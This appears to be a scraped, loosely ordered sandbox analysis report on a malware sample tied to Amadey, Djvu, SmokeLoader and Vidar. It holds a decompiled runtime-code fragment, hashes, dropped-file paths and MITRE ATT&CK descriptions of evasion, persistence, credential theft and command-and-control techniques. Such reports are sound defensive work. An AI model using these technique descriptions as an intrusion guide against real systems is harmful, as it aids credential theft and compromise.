						if( *((intOrPtr*)(_t29 - 0x34)) == 0 &&  *((intOrPtr*)(_t29 - 0x1c)) != 0) {
							_t17 = E00405262( *((intOrPtr*)(_t28 + 0x18)));
							_t38 = _t17;
							if(_t17 != 0) {
								_push( *((intOrPtr*)(_t29 + 0x10)));
								_push(_t28);
								return E0040559E(_t38);
							}
						}
					}
				}
				return _t17;
			}

0x00405819
0x00405819
0x0040581c
0x00405822
0x00405830
0x00405836
0x0040583e
0x0040584a
0x00405852
0x0040585a
0x0040586e
0x00405879
0x0040587f
0x00405881
0x00405883
0x00405886
0x00000000
0x0040588d
0x00405881
0x0040586e
0x0040585a
0x0040588e

APIs

Part of subcall function 00405289: __getptd.LIBCMT ref: 0040528F
Part of subcall function 00405289: __getptd.LIBCMT ref: 0040529F

__getptd.LIBCMT ref: 00405828

Part of subcall function 00409336: __getptd_noexit.LIBCMT ref: 00409339
Part of subcall function 00409336: __amsg_exit.LIBCMT ref: 00409346

__getptd.LIBCMT ref: 00405836

Strings

csm, xrefs: 00405844

Memory Dump Source

Source File: 00000005.00000002.442277755.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442255520.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442392495.00000000004A6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442417524.00000000006EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: csm
API String ID: 803148776-1018135373
Opcode ID: c3afd64fdfd2f2d8d217d39c8847acdcb15bae71fc736d0782f49ac46d94bf0d
Instruction ID: 6d7eef5c8a6a22c85478be91105518180ffb2f651ccb154911799a14910a4cc3
Opcode Fuzzy Hash: c3afd64fdfd2f2d8d217d39c8847acdcb15bae71fc736d0782f49ac46d94bf0d
Instruction Fuzzy Hash: A2010436800A059FCB38AE66C5416AFB3A9EF14315F58843FEC40766E1CB3889A1CE49

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Services
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 01860199.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Amadey

Threatname: Djvu

Threatname: SmokeLoader

Threatname: Vidar

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\02562567454920506534245398

C:\ProgramData\24693879337469440987379525

C:\ProgramData\39571994840354560723794613

C:\ProgramData\61788534741070885639801227

C:\ProgramData\68933564346194372112252072

C:\ProgramData\95239249759806897874806564

Windows Analysis Report
01860199.exe

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre